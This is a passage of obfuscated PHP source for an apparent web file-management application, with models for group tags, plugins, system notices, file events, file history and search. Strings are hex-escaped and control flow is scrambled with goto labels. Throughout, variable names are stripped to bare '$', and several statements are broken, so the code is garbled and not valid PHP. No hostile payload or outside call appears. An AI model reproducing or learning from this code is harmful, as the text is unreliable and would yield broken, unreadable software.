array($ => $[$[2071]]); Model($[606])->userGroupAdd($, $); } Model($[606])->userGroupRemove($, $
); } $ = array($[190] => 2, $[192] => 0, $[493] => 1, $[577] => array($[7], array($, $))); $
 = Model($[897])->where($)->field($[2072])->select(); $ = array_to_keyvalue($, $[577], $[193]); $
= !empty($[$]) ? $[$] : !1; if ($) { if (!$[$]) { $[$] = Model($[897])->groupRootAdd($
); } $ = $[$]; $ = array($[192] => $); $ = Model($[897])->where($)->field($[2073])->
select(); if (!$) { $ = array(); } Model($[897])->moveClearAuth = !1; foreach ($ as $) { $ = $[$[493
]] == $[91] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($[897])->move($[$[193]], $, $); } Model($[897])-
>moveClearAuth = !0; $ = array($[190] => 2, $[577] => $); $ = array($[577] => $); Model($[2074])-
>where($)->save($); Model($[2075])->where($)->save($); } $this->_changeChildLevel($[$], $[$
], !0); $this->where(array($[192] => $))->save(array($[192] => $)); $this->_clearChildrenCache($[$]); retur
n !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\165\x73\x65\162\x5f\x66\141\x76"; protected function cacheFunctio
nAlias($) { $ =& $_SERVER[]; return array($[2076] => array($[0], $[2077]), $[2078] => array($[0], $
[2079])); } protected function get($) { $ =& $_SERVER[]; $ = Model($[593])->metaGet($, $[2080]); $
 = json_decode($, !0); return $ ? $ : array($[2081] => $[91], $[454] => array()); } protected functio
n set($, $) { $ =& $_SERVER[]; $ = $ ? $ : array($[2081] => $[91], $[454] => array()); r
eturn Model($[593])->metaSet($, $[2080], json_encode($)); } protected function getByTagID($, $) { $ =& $
_SERVER[]; if (!$ || !$) { return !1; } if (!Model($[593])->getInfoSimple($)) { return !1; } $ = $this->get($
); if (!$ || !isset($[$[454]])) { return !1; } $ = array_find_by_field($[$[454]], $[483], $); retur
n is_array($) ? $ : !1; } public function listSource($, $) { $ =& $_SERVER[]; if ($ && !is_array($)) {
$ = array($); } $ = $this->listData($); $ = array(); foreach ($ as $) { $ = $[$[87]]; if (!$
) { continue; } if (!isset($[$])) { $[$] = array(); } $[$][] = $[$[508]]; } $ = array
(); foreach ($ as $ => $) { $ = !0; if (!$) { $[] = $; continue; } foreach ($ as $) { if (!in_array
($, $)) { $ = !1; break; } } if ($) { $[] = $; } } if (!$) { return array(); } $ = array($[49
9] => array($[500], $), $[577] => $, $[190] => SourceModel::TYPE_GROUP); $ = Model($[1414])->listSource($
); if (!$ || count($) == $[$[451]][$[452]]) { return $; } $ = array(); $ = array_to_keyvalue($[$
[85]], $[12], $[193]); $ = array_to_keyvalue($[$[86]], $[12], $[193]); $ = array_merge($, $
); foreach ($ as $) { if (!in_array($, $)) { $[] = $; } } if ($) { $this->removeBySource($, $
); } return $; } protected function listData($) { $ =& $_SERVER[]; $ = array($[1755] => 0, $[565] => arra
y($[2082], 0), $[504] => $[2083] . $); $ = $[2084]; $ = $this->field($)->where($)->order($[208
5])->select(); return $ ? $ : array(); } protected function addToTag($, $, $) { $ =& $_SERVER[]; if (!$th
is->getByTagID($, $) || !$) { return !1; } if (!Model($[897])->pathInfo($)) { return !1; } $ = array($[17
55] => 0, $[565] => $, $[503] => $, $[504] => $[2086] . $, $[502] => $[12], $[1967] =
> 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($, $, $) { $
 =& $_SERVER[]; if (!$this->getByTagID($, $) || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $
 = array($[1755] => 0, $[565] => $, $[504] => $[2086] . $, $[503] => $); return $this->where($)
->delete(); } protected function removeByTag($, $) { $ =& $_SERVER[]; if (!$this->getByTagID($, $)) { ret
urn !1; } $ = array($[1755] => 0, $[565] => $, $[504] => $[2086] . $); return $this->where($)->delet
e(); } protected function removeBySource($, $) { $ =& $_SERVER[]; if (!$ || !$) { return !1; } if (is_array($
)) { $ = array($[7], $); } $ = array($[1755] => 0, $[503] => $, $[565] => array($[108
8], 0), $[504] => $[2086] . $); return $this->where($)->delete(); } } class PluginModel extends ModelBaseLight { publi
c $optionType = "\x53\x79\x73\x74\x65\155\x2e\x70\x6c\165\x67\151\x6e\x4c\151\x73\164"; public $field = array("\156\141\155\x65", "\x73\164\
x61\x74\x75\163", "\x72\x65\x67\x69\145\x73\x74", "\143\157\x6e\146\151\x67"); public function loadList($ = false) { $ = array_t
o_keyvalue($this->listData(), $_SERVER[][32]); if ($) { return $[$]; } return $; } public function init() { $
 =& $_SERVER[]; Hook::trigger($[2087]); $ = $this->loadPluginList(); foreach ($ as $ => $) { $ = $th
is->appAllow($, $); if (!$) { continue; } foreach ($[$[2088]] as $ => $) { Hook::bind($, $); }
} Hook::trigger($[2089]); Hook::trigger(ACTION); } public function appAllow($, $, $ = true) { $ =& $_SERVER[]
; $ = PLUGIN_DIR . $ . $[2090]; if (!is_array($) || !is_array($[$[2088]]) || $[$[823]] != 1 || !is_file
($)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$[6]][$[2091]] || !$GLOBALS[$[6]][$[2092]]) { return !0;
} $ = explode($[50], strtolower($GLOBALS[$[6]][$[2092]])); return in_array(strtolower($), $) ? !1 : !0; } if
($ && !Action($[2093])->checkAuth($)) { return !1; } return !0; } public function unInstall($) { $ =& $_SERVER[
]; $ = $this->loadList($); if (file_exists(PLUGIN_DIR . $)) { Hook::apply($ . $[2094]); } $this->remove($[$[483]]
); } public function changeStatus($, $) { $ =& $_SERVER[]; $ = $this->loadList($); if ($) { Hook::apply($
 . $[2095]); } $this->update($[$[483]], array($[2096] => $)); } public function appRegist($, $) { $
=& $_SERVER[]; $ = $this->loadList($); if ($) { $this->update($[$[483]], array($[2088] => $)); } els
e { $ = array($[32] => $, $[2088] => $, $[823] => 0, $[6] => $this->getConfigDefault($)); $this->insert
($); } } public function getConfigDefault($) { $ =& $_SERVER[]; $ = array(); $ = $this->getPackageJson($
); if (!$ && is_array($[$[2097]])) { return $; } foreach ($[$[2097]] as $ => $) { if (!isset($
[$[459]]) || isset($[$])) { continue; } $[$] = $[$[459]]; } return $; } public function getPacka
geJson($) { return Hook::apply($ . $_SERVER[][2098]); } public function getConfig($, $ = false) { $ =& $_SERVER
[]; $ = array(); $ = $this->loadList($); if ($ && is_array($[$[6]])) { $ = $[$[6]]; } if (!
$ || $) { $ = $this->getConfigDefault($); } return $; } public function setConfig($, $ = false) { $
=& $_SERVER[]; $ = $this->loadList($); if (!$) { return !1; } $ = $[$[6]]; if ($ == !1) { $ = arra
y(); $ = $this->getConfigDefault($); } foreach ($ as $ => $) { $[$] = is_string($) ? trim($) :
$; } $this->update($[$[483]], array($[6] => $)); } public function viewList() { $ =& $_SERVER[]; $ =
$this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $ = array(); foreach ($ as $ => $) { $
 = $; unset($[$[2088]], $[$[6]]); $ = PLUGIN_DIR . $[$[32]] . $[2090]; if (!is_file($
)) { continue; } $ = Hook::apply($[$[32]] . $[2098]); if (!is_array($)) { continue; } $[$] = array_merge($
, $); if ($[$[6]][$[1678]] != $[$[1652]]) { Hook::apply($[$[32]] . $[2095]); $[$[6]]
[$[1678]] = $[$[1652]]; $this->update($[$[483]], array($[6] => $[$[6]])); } } return $; } private fu
nction loadPluginList() { $ =& $_SERVER[]; $ = $this->loadList(); if (strtolower(MOD) == $[2099]) { return $; } $
 = Hook::trigger($[2100], $); if ($ && !$) { die; } return $ ? $ : $; } private function pluginScan($
) { $ =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $, $, 0); foreach ($ as $) { $ = get_path_this($);
if (isset($[$]) || !file_exists($ . $[2101]) || !file_exists($ . $[2090])) { continue; } Hook::apply($
. $[2095]); } } } goto d; a: class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\x65
\155\x2e\156\x6f\x74\151\x63\x65\x4c\151\x73\x74"; public $field = array("\156\141\x6d\x65", "\143\157\156\x74\x65\x6e\164", "\141\x75\164\x
68", "\x6d\157\144\x65", "\x74\151\x6d\x65", "\x74\171\x70\145", "\x6c\145\x76\x65\154", "\145\x6e\141\x62\x6c\x65", "\x73\x6f\162\164"); pu
blic function listData($ = false, $ = "\163\x6f\x72\164", $ = false) { return parent::listData($, $, $); } publi
c function add($) { $ =& $_SERVER[]; $ = time(); if ($[$[16]] == $[2426]) { $ = strtotime($
[$[206]]); } $[$[206]] = $; return parent::insert($); } public function update($, $) { $ =& $_SERVE
R[]; $ = $this->listData($); if (!$) { return !1; } $ = time(); if ($[$[16]] == $[2426]) { $ = st
rtotime($[$[206]]); } $[$[206]] = $; return parent::update($, $); } public function remove($) { $
 = $this->listData($); if (!$ || $[$_SERVER[][191]]) { return !1; } return parent::remove($); } public function s
ort($, $) { return parent::update($, $); } public function enable($, $) { return parent::update($, array($_
SERVER[][2427] => $)); } private function initUserOption() { $ =& $_SERVER[]; $this->optionType = $[2428]; $this-
>modelType = $[2429]; $this->field = array($[2430], $[32], $[206], $[33], $[2431], $[823], $[226]);
} public function userNoticeGet($ = false) { $this->initUserOption(); return parent::listData($, $_SERVER[][483], !0); } publi
c function userNoticeAdd($) { $ =& $_SERVER[]; $this->initUserOption(); $ = $this->findByKey($[2430], $[$[483
]]); if ($) { return !0; } $ = array($[2430] => $[$[483]], $[32] => $[$[32]], $[206] => $[$[206]]
, $[33] => isset($[$[33]]) ? $[$[33]] : 1, $[2431] => isset($[$[2431]]) ? $[$[2431]] : 0, $[823] =>
0, $[226] => 0); return parent::insert($); } public function userNoticeEdit($, $) { $this->initUserOption(); return parent
::update($, $); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\x73\171\x73\164\145\155\137\x6f\160
\x74\x69\x6f\x6e"; protected $jsonField = array("\x6d\145\x6e\165", "\x72\x6f\154\x65", "\x72\x6f\154\x65\107\162\x6f\165\x70", "\162\145\x6
7\151\163\164", "\145\x6d\x61\x69\154"); function __construct() { parent::__construct(); } protected function cacheKey($) { return "\123
\x79\163\164\145\x6d\117\160\x74\x69\x6f\x6e\x5f{$}"; } protected function optionDefault($ = '') { $ =& $_SERVER[]; if (
$ == $[12]) { return $GLOBALS[$[6]][$[465]]; } } } class SystemRecordModel extends ModelBaseLight { } goto B; e
: class SourceEventModel extends ModelBase { protected $tableName = "\151\157\137\x73\x6f\165\162\143\145\137\145\x76\x65\x6e\x74"; p
rotected $dataAuto = array(array("\x63\x72\x65\141\x74\145\124\x69\155\145", "\164\x69\x6d\145", "\x69\156\163\x65\162\164", "\146\x75\x6e\x
63\x74\151\157\156"), array("\144\x65\x73\143", '', "\151\x6e\163\x65\162\164\54\165\x70\144\x61\164\145\x2c\x73\145\x6c\145\x63\164", "\152
\163\x6f\156")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this-
>eventSave = !0; } public function addEvent($, $, $ = '') { $ =& $_SERVER[]; if (!$this->eventSave) { return; } $
 = Model($[1414])->sourceInfo($); if (!$) { return !1; } if ($this->isDisableEvent($, $)) { return; } if ($ && is
_string($)) { $ = array($[2002] => $); } $ = defined($[2189]) ? USER_ID : 0; $ = array($[499] => $,
$[2190] => $[$[192]], $[2191] => $[$[32]], $[590] => !empty($[$[590]]) ? $[$[590]
] : $[12], $[1755] => $, $[504] => $, $[1757] => $); $this->addSystemLog($, $); unset($[$
[2191]], $[$[590]]); return $this->add($); } private function addSystemLog($, $) { $ =& $_SERVER[];
if ($ == $[2192]) { $ = $[$[534]][$[2193]]; } else { if (in_array($, array($[1942], $[2194])))
{ $ = $[$[534]][$[171]]; } } $ = array_merge($, array($[2195] => $[$[193]], $[2196] => $
[$[2196]])); Hook::trigger($[2197], $[2198] . $, $); Model($[1906])->addLog($[2198] . $, $);
} private function isDisableEvent($, $) { $ =& $_SERVER[]; if ($[$[190]] != SourceModel::TYPE_SYSTEM) { retu
rn !1; } if ($ == $[1931]) { return !1; } return !0; } public function eventCreate($, $) { $ =& $_SERVER[]; $
 = Model($[1414])->sourceInfo($); $ = array($[2193] => $, $[32] => $[$[32]]); return $this->a
ddEvent($, $[2192], $); } public function eventFileEdit($) { $ =& $_SERVER[]; $ = array($[2199] =>
$_SERVER[$[2200]], $[2201] => strtolower(ACTION)); if (isset($GLOBALS[$[7]][$[2202]])) { $[$[2202]] = $[9
1]; } return $this->addEvent($, $[1932], $); } public function eventRecycle($, $) { return $this->addEvent($, $
_SERVER[][2194], $); } private static $_removeLast = ''; public function eventRemove($) { $ =& $_SERVER[]; self:
:$_removeLast = $; $ = Model($[1414])->sourceInfo($); $ = array_field_key($, array($[193], $[549], $
[513], $[592])); $ = array($[171] => $[$[32]], $[2201] => ACTION, $[2203] => $); return $this->add
Event($[$[192]], $[1931], $); } public function eventShare($, $) { return $this->addEvent($, $_SERVER[
][1942], $); } public function eventMove($, $, $) { $ =& $_SERVER[]; if (self::$_removeLast == $) { return; }
$ = Model($[1414]); $ = $->sourceInfo($); $ = $->sourceInfo($); $ = $->sourceInfo($); $
 = array($[1237] => $, $[2204] => $[$[32]], $[2180] => !empty($[$[590]]) ? $[$[590]] :
$[12], $[1238] => $, $[2205] => $[$[32]], $[2206] => !empty($[$[590]]) ? $[$[590]] :
$[12]); $this->addEvent($, $[628], $); $ = $->sourceInfo($); $ = array($[193] => $[$[193]],
$[32] => $[$[32]]); $this->addEvent($, $[2207], $); } public function eventCopy($) { $this->eventCreate($
, $_SERVER[][626]); } public function eventRename($, $, $) { $ =& $_SERVER[]; $ = array($[1237] =
> $, $[1238] => $); return $this->addEvent($, $[1428], $); } public function eventAddComment($, $) { r
eturn $this->addEvent($, $_SERVER[][2208], $); } public function eventAddDesc($, $) { return $this->addEvent($
, $_SERVER[][2209], $); } public function listBySource($) { $ =& $_SERVER[]; $ = Model($[1414])->sour
ceInfo($); $ = array($[499] => $); if ($[$[493]] == $[91]) { $ = Model($[1414])->listSearchChildre
n($, 20000); $[] = $ . $[329]; $ = array($[193] => array($[7], $)); } $ = $this->where($)->order($
[2210])->selectPage(); if ($[$[451]][$[452]] == 0) { $[$[451]][$[452]] = 1; $[$[454]] = array(array($
[499] => $, $[2190] => $[$[192]], $[1755] => $[$[535]], $[504] => $[2211], $[505] =>
$[$[231]], $[1757] => $[12])); } return $this->eventListParse($, $); } private function eventListParse($
) { $ =& $_SERVER[]; $ = $$[454]]; $ = array_to_keyvalue($, $[12], $[193]); $ = array_
to_keyvalue($, $[12], $[2196]); foreach ($ as $) { $ = $[$[534]]; if ($[$[33]] == $[
628] && isset($[$[1237]])) { $[] = $[$[1237]] . $[12]; $[] = $[$[1238]] . $[12]; }
if ($[$[33]] == $[2207] && isset($[$[193]])) { $[] = $[$[193]] . $[12]; } } $ = arr
ay_merge($, $, array($ . $[12])); $ = array_unique($); $ = array_unique(array_to_keyvalue($, $
[12], $[1764])); $ = Model($[606])->userListInfo($); $ = Model($[897])->sourceListInfo($, !0); fore
ach ($ as &$) { if ($[$[33]] == $[628] && isset($[$[534]][$[1237]])) { $[$[534]][$
[1237]] = $[$[$[534]][$[1237]]]; $[$[534]][$[1238]] = $[$[$[534]][$[1238]]]; } i
f ($[$[33]] == $[2207] && isset($[$[534]][$[193]])) { $[$[534]][$[193]] = $[$[$
[534]][$[193]]]; } $[$[90]] = $[$[$[193]]]; $[$[2212]] = $[$[$[2196]]]; if ($
[$[33]] == $[1931]) { $[$[2212]] = $[$[90]]; $[$[2196]] = $[$[2212]][$[19
3]]; $[$[90]] = !1; $[$[193]] = $[12]; } $[$[2139]] = $[$[$[1764]]]; } unset($)
; $$[454]] = $; return $ public function removeBySource($) { $ = array($_SERVER[][499] => $); $this->wh
ere($)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\151\x6f\137\163\157\x75\162\x63\145\x5f\15
0\x69\163\164\157\162\x79"; public function historyCount($) { $ =& $_SERVER[]; if (!$) { return array(); } if (is_string($
) || is_int($)) { $ = array($); } $ = array($[193], $[1996] => $[573]); $ = array($[193] => array($
[7], $)); $ = $this->field($)->where($)->group($[193])->select(); return array_to_keyvalue($, $[193], $
[573]); } public function addHistory($, $ = '') { $ =& $_SERVER[]; $ = array($[499] => $[$[193]
], $[1755] => isset($[$[537]]) ? $[$[537]] : $[$[535]], $[550] => $[$[549]], $[625] => $[
$[79]], $[2213] => $); if ($GLOBALS[$[6]][$[92]][$[1298]] >= 1) { $this->historyAutoClear($[$[193]]); $this->a
dd($); } Hook::trigger($[2214], $); Model($[2215])->eventFileEdit($[$[193]]); } private function historyAutoClear
($) { $ =& $_SERVER[]; $ = Model($[843])->get($[1320]); $ = intval($GLOBALS[$[6]][$[92]][$
[1298]]); $ = $ == $[1321] ? min(5, $) : $; $ = $ <= 0 ? 0 : $ - 1; if ($ >= 499) { return; } $
 = array($[499] => $); $ = $this->field($[2216])->where($)->order($[2210])->select(); if (!$ || $
>= count($)) { return; } $ = array_to_keyvalue($, $[12], $[483]); $ = array_slice($, $); $ = array_to
_keyvalue($, $[12], $[549]); $ = array_slice($, $); if (!$ || !$) { return; } $ = array($[50
1] => array($[7], $)); $this->where($)->delete(); Model($[552])->remove($); } public function listData($) { $
 =& $_SERVER[]; $ = array($[499] => $); $ = $[2217]; $ = $this->field($)->where($)->orde
r($[2210])->selectPage(); $this->_listAppendUser($[$[454]]); $ = Model($[843])->get($[1320]); $ = 5; if
($ == $[1321]) { $[$[454]] = array_slice($[$[454]], 0, $); $[$[451]] = array($[2218] => 1,
$[2219] => 20, $[2220] => 1, $[2221] => count($[$[454]])); } return $; } protected function _listAppendUser
(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1764]); $ = Model($[606])->userLis
tInfo($); foreach ($ as &$) { $ = $[$[1764]]; $[$[535]] = $[$] ? $[$] :
!1; } unset($); } public function fileInfo($) { $ =& $_SERVER[]; $ = $this->tablePrefix; $ = "{$}\x69
\x6f\137\146\151\154\x65\x20\146\x69\x6c\145\x73\40\157\156\40\146\151\x6c\145\x73\x2e\146\x69\x6c\x65\111\104\x20\x3d\x20\150\x69\163\x74\x
6f\162\171\56\x66\151\x6c\145\111\x44"; return $this->alias($[2222])->where(array($[501] => $))->join($, $[2223])->
find(); } public function removeItem($) { $ =& $_SERVER[]; $ = array($[501] => $); $ = $this->where($
)->find(); if ($) { $ = $this->where($)->delete(); Model($[552])->remove($[$[549]]); return $; } r
eturn !1; } public function removeBySource($) { $ =& $_SERVER[]; if (!$) { return !1; } if (!is_array($)) { $ = arr
ay($); } $ = array($[499] => array($[7], $)); $ = $this->field($[550])->where($)->select(); if ($) {
$this->where($)->delete(); $ = array_to_keyvalue($, $[12], $[549]); Model($[552])->remove($); } return !0; } p
ublic function setDetail($, $) { $ =& $_SERVER[]; return $this->where(array($[501] => $))->save(array($
[2213] => $)); } public function rollbackToItem($, $) { $ =& $_SERVER[]; $ = Model($[897])->sourceInfo($
); $this->addHistory($, LNG($[2224])); $ = $this->find($); $ = array($[549] => $[$[549]], $[79]
=> $[$[79]], $[88] => time(), $[537] => USER_ID); Model($[897])->where(array($[193] => $))->save($); retur
n $this->where(array($[501] => $))->delete(); } public function clearSame($) { $ =& $_SERVER[]; $ = $this->listD
ata($); $ = array_to_keyvalue_group($, $[549]); $ = array(); $ = array(); foreach ($ as $) { if (!$
 || count($) <= 1) { continue; } foreach ($ as $) { $[] = $[$[549]]; $[] = $[$[483]]; } }
if (!$) { return; } $this->where(array($[483] => array($[7], $)))->delete(); Model($[552])->remove($); } publ
ic function userSpace() { $ =& $_SERVER[]; $ = $this->tablePrefix; $ = array($[1755] => USER_ID); $ = "{$
}\x69\x6f\137\146\x69\x6c\145\x20\146\151\x6c\x65\163\x20\x6f\x6e\40\146\151\x6c\145\x73\x2e\146\151\154\145\x49\104\40\x3d\x20\x68\x69\x73
\x74\157\x72\171\x2e\x66\x69\154\x65\x49\x44"; return $this->alias($[2222])->where($)->join($, $[2223])->sum($[79
]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($) { $ =& $_SERVER[]
; $ = KodIO::fileTypeList(); $ = $[$]; if (!$) { return array(); } $ = $[$[169]]; $ = $[
7]; if (!$[$[169]]) { $ = array_to_keyvalue($, $[12], $[169]); $ = implode($[50], $); $ =
$[2225]; } $ = explode($[50], trim($, $[50])); return array($, $); } public function listPathType($
) { $ =& $_SERVER[]; $ = $this->fileTypeWhere($); if (!$) { return array(); } $ = USER_ID; $ = Model($
[606])->getInfo($); $ = array($[656] => SourceModel::TYPE_USER, $[592] => array($[620], $[602] . $[$
[90]][$[193]] . $[621]), $[657] => $, $[654] => 0, $[655] => $); return $this->listSource($); } publ
ic function listSearch($, $ = 300) { $ =& $_SERVER[]; if (isset($[$[2061]]) && $[$[2061]]) { $
[$[2061]] = str_replace($[468], $[2226], trim($[$[2061]])); } $ = $this->_parseSearchWhere($); if
(!isset($[$[513]])) { $[$[513]] = 0; } $ = $[2227]; $ = $; $ = $; $this->_listSearchB
indPinyin($, $, $); $this->alias($[527])->_makeOrder(); $ = $this->parseWhereLike($); $ = $this->distinct
(!0)->field($)->where($)->selectPage($); if ($GLOBALS[$[6]][$[465]][$[466]] && Input::check($[$[
2061]], $[663]) && $[$[451]][$[438]] == 1 && $[$[451]][$[452]] == 0) { $ = $this->distinct(!0)->fi
eld($)->where($)->limit(1000)->select(); $ = array_page_split($, !1, $); } $this->_listSearchFileContent($, $
, $, $); $this->_listSearchDesc($, $, $); $this->_listSearchTag($, $, $); $this->_listSearchGrou
pTag($, $, $); $this->_listDataApply($[$[454]]); $this->_listMake($); return $; } private function _listSea
rchFileContent(&$, $, $, $) { $ =& $_SERVER[]; if (!$[$[2061]] || $[$[451]][$
[438]] > 1) { return; } if (!isset($[$[32]]) || !is_array($[$[549]])) { return; } $[$[549]] = array($
[7], $[$[549]]); unset($[$[32]]); unset($[$[549]]); $ = $this->field($)->where($)->lim
it($[2228])->select(); if (!$ || count($) == 0) { return; } $[$[454]] = array_merge($, $[$[454]
]); $[$[451]][$[452]] += count($); } private function _listSearchTag(&$, $, $) { $ =& $_SERVER[
]; if (!$[$[2061]] || $[$[451]][$[438]] > 1) { return; } $ = Model($[2229])->listData(); $ = array();
$ = $[$[2061]]; foreach ($ as $) { $ = $[$[32]]; $ = str_replace($[53], $[12], Pinyin
::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $[] = $[$[483]]; } } if (!$)
{ return; } $ = array($[508] => array($[7], $), $[1764] => USER_ID); $ = Model($[510])->field($[87])-
>where($)->select(); $ = array_to_keyvalue($, $[12], $[87]); $ = array_unique($); $this->_listSearchMerge($
, $, $, $); } private function _listSearchDesc(&$, $, $) { $ =& $_SERVER[]; if (!$[$
[2061]] || $[$[451]][$[438]] > 1) { return; } $ = array($[97] => $[534], $[459] => array($[46
7], $[2063] . $[$[2061]] . $[2063])); $ = !1; if ($) { $ = $this->listSearchChildren($[$[1
92]]); $ = array_unique($); if (!$) { return; } $[$[193]] = array($[7], $); } $ = Model($
[640])->field($[193])->where($)->limit(5000)->select(); $ = array_to_keyvalue($, $[12], $[193]); $this-
>_listSearchMerge($, $, $, $); } private function _listSearchGroupTag(&$, $, $) { $ =& $_SERVER[
]; if (!$[$[2061]] || $[$[451]][$[438]] > 1 || !$[$[192]]) { return; } $ = $this->sourceInfo($[$
[192]]); if (!$ || $[$[190]] != SourceModel::TYPE_GROUP) { return; } $ = $[$[577]]; $ = Model($[2230
])->get($); $ = array(); $ = $[$[2061]]; foreach ($[$[454]] as $) { $ = $[$[32]]; $ =
str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $[] = $
[$[483]]; } } if (!$) { return; } $ = array($[508] => array($[7], $), $[1764] => 0, $[33] => $[2083] .
$); $ = Model($[510])->field($[87])->where($)->select(); $ = array_to_keyvalue($, $[12], $[87]); $
= array_unique($); $this->_listSearchMerge($, $, $, $); } private function _listSearchMerge(&$, $, $, $
) { $ =& $_SERVER[]; if (!$) { return; } $ = array_to_keyvalue($[$[454]], $[12], $[193]); $
 = array_diff($, $); if (!$) { return; } $ = array($[193] => array($[7], $)); $ = $this->field($
)->where($)->select(); if (!$) { return; } $ = array(); foreach ($ as $) { if ($this->_listSearchFilter($, $
)) { $[] = $; } } $[$[454]] = array_merge($, $[$[454]]); $[$[451]][$[452]] += count(
$); } private function _listSearchFilter($, $) { $ =& $_SERVER[]; $ = $[$[493]] == $[91]; if (!s
trstr($[$[592]], $[50] . $[$[192]] . $[50])) { return !1; } if (isset($[$[494]]) && $[$[494]] != $
[849]) { if ($[$[494]] == $[78] && !$) { return !1; } if ($[$[494]] != $[78] && $) { return !1; } if
(!strstr($[$[169]], $[50] . $[$[494]] . $[50])) { return !1; } } if (isset($[$[2231]]) && $[$[2231
]] < $[$[79]]) { return !1; } if (isset($[$[2232]]) && $[$[2232]] > $[$[79]]) { return !1; } if (isset($
[$[670]]) && $[$[670]] != $[$[537]]) { return !1; } return !0; } public function listSearchChildren($, $ = 5
000) { $ =& $_SERVER[]; $ = array(); $ = $this->sourceInfo($); $ = array($[592] => array($[467], $[$[
592]] . $[$[193]] . $[621])); $ = $this->field($[79])->where($)->limit($ + 1)->select(); $ = is_array($) ?
count($) : 0; if ($ > $) { return $this->_listSearchChildrenNear($, $); } $ = $this->field($[193])->where($)->s
elect(); $ = array_to_keyvalue($, $[12], $[193]); return $; } private function _listSearchChildrenNear($, $) { $
 =& $_SERVER[]; $ = array(); $ = array($[192] => $); $ = $this->field($[2233])->where($)->select
(); $ = array_to_keyvalue(array_filter_by_field($, $[493], $[91]), $[12], $[193]); $ = array_merge($,
array_to_keyvalue($, $[12], $[193])); if (!$) { return $; } $ = array($[192] => array($[7], $));
$ = $this->field($[2233])->where($)->limit($)->select(); $ = array_merge($, array_to_keyvalue($, $[12
], $[193])); $ = array_slice($, 0, intval($)); return $; } private function _listSearchBindPinyin($, &$, &$
) { $ =& $_SERVER[]; if (!isset($[$[2061]]) || !$[$[2061]]) { return; } if (!Input::check($[$[2061]]
, $[403]) || strlen($[$[2061]]) < 2) { return; } $ = "\x4c\105\106\124\x20\112\x4f\x49\116\x20{$this->tablePrefix}\151\157
\137\163\x6f\165\162\143\145\137\155\x65\164\141\x20\155\145\x74\141\40\x6f\x6e\40\x73\157\165\162\x63\145\56\163\x6f\x75\162\x63\145\x49\10
4\x20\75\40\x6d\145\164\x61\56\x73\x6f\165\162\x63\145\111\x44"; $ = array(); $ = str_replace(array($[262], $[53], $[2234
]), $[12], $); $ = $[519] . str_replace($[50], $[520], $); $ = $[$[32]]; unset($[$[32]]); foreach
($ as $ => $) { $[$[519] . $] = $; } foreach ($ as $) { $[] = array($[524] => $,
$[1074] => $[2065], array($[2235] => $, $[2236] => array($[7], array($[546], $[545])))); } $this->join($
); $ = $; } private function _parseSearchWhere($) { $ =& $_SERVER[]; $ = array(); if (isset($[$[83
3]]) && $[$[833]]) { $[$[88]] = array($[2237], $[$[833]]); } if (isset($[$[834]]) && $[$
[834]]) { $ = array($[2238], $[$[834]]); if ($[$[88]]) { $[$[88]] = array($[$[88
]], $, $[2239]); } else { $[$[88]] = $; } } if (isset($[$[2231]]) && $[$[2231]] > 0) { $
[$[79]] = array($[2237], $[$[2231]]); } if (isset($[$[2232]]) && $[$[2232]]) { $ = array($
[2238], $[$[2232]]); if ($[$[79]]) { $[$[79]] = array($[$[79]], $, $[2239]); }
else { $[$[79]] = $; } } if (isset($[$[670]]) && $[$[670]]) { $[] = array($[537] => $[$
[670]], $[535] => $[$[670]], $[1074] => $[2065]); } if (isset($[$[494]]) && $[$[494]])
{ $ = $[$[494]]; if ($ == $[78]) { $[$[493]] = 1; } else { if ($ == $[2240]) { $[$
[493]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($[50], $); $[$[494]] = array($[
500], $); $[$[493]] = 0; } } } } $this->_parseSearchParent($, $); if (isset($[$[2061]]) && trim($[$
[2061]])) { $ = trim($[$[2061]]); $ = explode($[53], $); if (strlen($) > 2 && (substr($, 0, 1) ==
$[121] && substr($, -1) == $[121]) || substr($, 0, 1) == $[58] && substr($, -1) == $[58]) { $ = subs
tr($, 1, -1); $ = array($); } $[$[32]] = array(array($[620], $[2063] . $ . $[2063])); if (cou
nt($) > 1) { $[$[32]] = array(); foreach ($ as $) { if (!trim($)) { continue; } $[$[32]][] = arr
ay($[620], $[2063] . trim($) . $[2063]); } } } return $; } private function _parseSearchParent($, &$)
{ $ =& $_SERVER[]; if (!isset($[$[192]]) || !$[$[192]]) { return; } $ = $this->pathInfo($[$
[192]]); $ = $[$[192]] . $[12] === $[228]; $ = $[$[190]] == $[586]; if ($[$[603]] == $
[604]) { $ = $this->sourceInfo($[$[192]]); $[$[592]] = $[$[592]]; } $[$[660]] = array($[
620], $[$[592]] . $[$[192]] . $[621]); $ = isset($[$[1921]]) && in_array($[586], $[$
[1921]]); if (!$ || !$ || !$ || !$[$[495]]) { return; } if (!AuthModel::authCheckRoot($[$[495]][$[49
6]])) { return; } $ = $[$[577]] . $[12]; if ($ == $[91]) { unset($[$[660]]); $[$[190]] = se
lf::TYPE_GROUP; return; } $ = Model($[593])->groupChildrenAll($); $ = count($); if ($ <= 1) { return; } $
= array($[192] => 0, $[190] => self::TYPE_GROUP, $[577] => array($[7], $)); $ = $this->field($[2241])->wh
ere($)->limit($)->select(); $[$[660]] = array(); foreach ($ as $) { $[$[660]][] = array($[620]
, $[602] . $[$[193]] . $[621]); } $[$[660]][] = $[2065]; } } goto b; e: class PathDriverUrl e
xtends PathDriverBase { static $_cacheHeader = array(); public function __construct($ = false) { } public function exist($) { $ =
$this->info($); return $[$_SERVER[][232]]; } public function isFile($) { $ = $this->info($); return $[$_SER
VER[][232]]; } public function isFolder($) { return !1; } public function size($) { $ = $this->info($); return $
